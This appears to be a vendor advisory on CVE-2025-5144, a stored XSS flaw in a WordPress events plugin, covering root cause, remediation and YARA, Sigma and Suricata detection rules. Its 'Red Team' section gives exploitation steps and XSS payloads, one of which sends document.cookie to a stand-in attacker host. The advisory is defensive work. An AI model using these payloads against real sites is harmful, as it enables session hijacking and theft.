CVE-2025-5144
Executive Summary
CVE-2025-5144 is a Stored Cross-Site Scripting (XSS) vulnerability in The Events Calendar plugin for WordPress, affecting all versions up to and including 6.13.2. The flaw resides in insufficient sanitization of the data-date-* parameters, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute when any user accesses a page containing the malicious event data. With a CVSS score of 6.4 (Medium), the vulnerability poses a significant risk to WordPress sites using this plugin, potentially leading to session hijacking, data theft, or defacement. No public exploit code or patch is currently available, but the risk is elevated due to the plugin’s widespread use.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors leveraging this flaw in targeted attacks.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The vulnerability requires authentication but is easily exploitable once access is obtained. The stored XSS can affect all site visitors, making it a vector for phishing, credential theft, or malware distribution.
Deep Dive & Mechanics
The vulnerability exists in the The Events Calendar plugin’s handling of event date attributes. The plugin uses data-date-* HTML attributes to store date-related metadata for events. When an authenticated user with Contributor-level access or higher creates or edits an event, the plugin fails to properly sanitize and escape the values passed to these attributes. This allows an attacker to inject malicious JavaScript code within the attribute values.
Attack Flow:
- An attacker with Contributor-level access logs into the WordPress admin panel.
- The attacker creates a new event or edits an existing one.
- In the event’s date fields (e.g., start date, end date), the attacker injects a payload like
" onfocus="alert(1)" autofocus="true"or a more sophisticated XSS vector. - The plugin stores the event with the malicious payload in the
data-date-*attributes. - When any user (including administrators or visitors) views the event page, the browser parses the injected attributes, executing the attacker’s script.
Root Cause: Insufficient input sanitization and output escaping in the plugin’s date handling functions. The plugin does not validate or escape the data-date-* attribute values, allowing arbitrary HTML attribute injection.
Vulnerable vs. Patched Code
Since no official patch is available, the following comparison is based on expected secure coding practices.
Vulnerable Code (Conceptual):
// In the plugin's template file (e.g., single-event.php)
echo '<div data-date-start="' . $event_start_date . '" data-date-end="' . $event_end_date . '">';
Patched Code (Expected):
// Properly escape output
echo '<div data-date-start="' . esc_attr( $event_start_date ) . '" data-date-end="' . esc_attr( $event_end_date ) . '">';
The patched version uses esc_attr() to escape the attribute values, preventing injection of additional attributes or JavaScript.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with The Events Calendar plugin <= 6.13.2
- Authenticated user with Contributor-level access or higher
Exploitation Steps:
- Log in to WordPress as a Contributor.
- Navigate to Events > Add New.
- In the event date fields, inject a payload. For example, in the "Start Date" field, enter:
" onfocus="alert(document.cookie)" autofocus="true" - Publish the event.
- When any user visits the event page, the script executes.
Example Payload (for session hijacking):
" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus="true"
Blue Team (Detection & Mitigation)
Detection:
- Monitor WordPress admin logs for unusual event creation or editing by low-privilege users.
- Scan event content for suspicious
data-date-*attributes containing JavaScript event handlers (e.g.,onfocus,onmouseover).
Mitigation:
- Immediately restrict Contributor-level access if not required.
- Implement a Web Application Firewall (WAF) rule to block XSS payloads in event date fields.
- Apply the principle of least privilege; only grant necessary roles.
Indicators of Compromise (IOCs)
File-based IOCs:
- Modified event entries in the
wp_poststable withpost_type = 'tribe_events'containing suspiciousdata-date-*attributes. - Presence of JavaScript event handlers (e.g.,
onfocus,onmouseover) in event meta fields.
- Modified event entries in the
Network-based IOCs:
- Outbound HTTP requests to external domains from the WordPress server, especially from event pages.
- Unusual
POSTrequests towp-admin/admin-ajax.phpwith event data containing script tags.
Log-based IOCs:
- Repeated event creation/editing by the same user in a short time frame.
- Error logs showing failed sanitization attempts or unusual attribute values.
Detection Engineering
YARA Rule
rule CVE_2025_5144_Stored_XSS {
meta:
description = "Detects stored XSS payloads in The Events Calendar plugin data-date-* attributes"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-5144"
strings:
$xss_payload = /data-date-(start|end)\s*=\s*"[^"]*"(?:\s+[a-zA-Z]+="[^"]*")*\s+on\w+\s*=\s*"[^"]*"/i
condition:
$xss_payload
}
Sigma Rule
title: Stored XSS via The Events Calendar Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts in The Events Calendar plugin using data-date-* attributes
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'tribe_events'
cs-uri-query|re: 'data-date-(start|end)=[^&]*on\w+='
condition: selection
falsepositives:
- Legitimate use of event handlers in event descriptions (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-5144 Stored XSS in The Events Calendar"; flow:to_server,established; content:"POST"; http_method; content:"tribe_events"; http_uri; pcre:"/data-date-(start|end)=[^&]*on\w+=/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if it is not critical to operations until a patch is released.
- Restrict user roles: Remove Contributor-level access from untrusted users. Only grant Editor or Administrator roles to trusted personnel.
- Implement a WAF rule to block requests containing
data-date-*with JavaScript event handlers.
Long-term Fix:
- Monitor the plugin’s official repository for a patched version (expected > 6.13.2).
- Apply the patch as soon as it becomes available.
- Conduct a security audit of all custom event data to ensure no malicious payloads exist.
Workaround:
- Use a content security policy (CSP) header to block inline JavaScript execution:
Content-Security-Policy: script-src 'self'; - This will prevent injected scripts from executing, though it may break legitimate plugin functionality.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.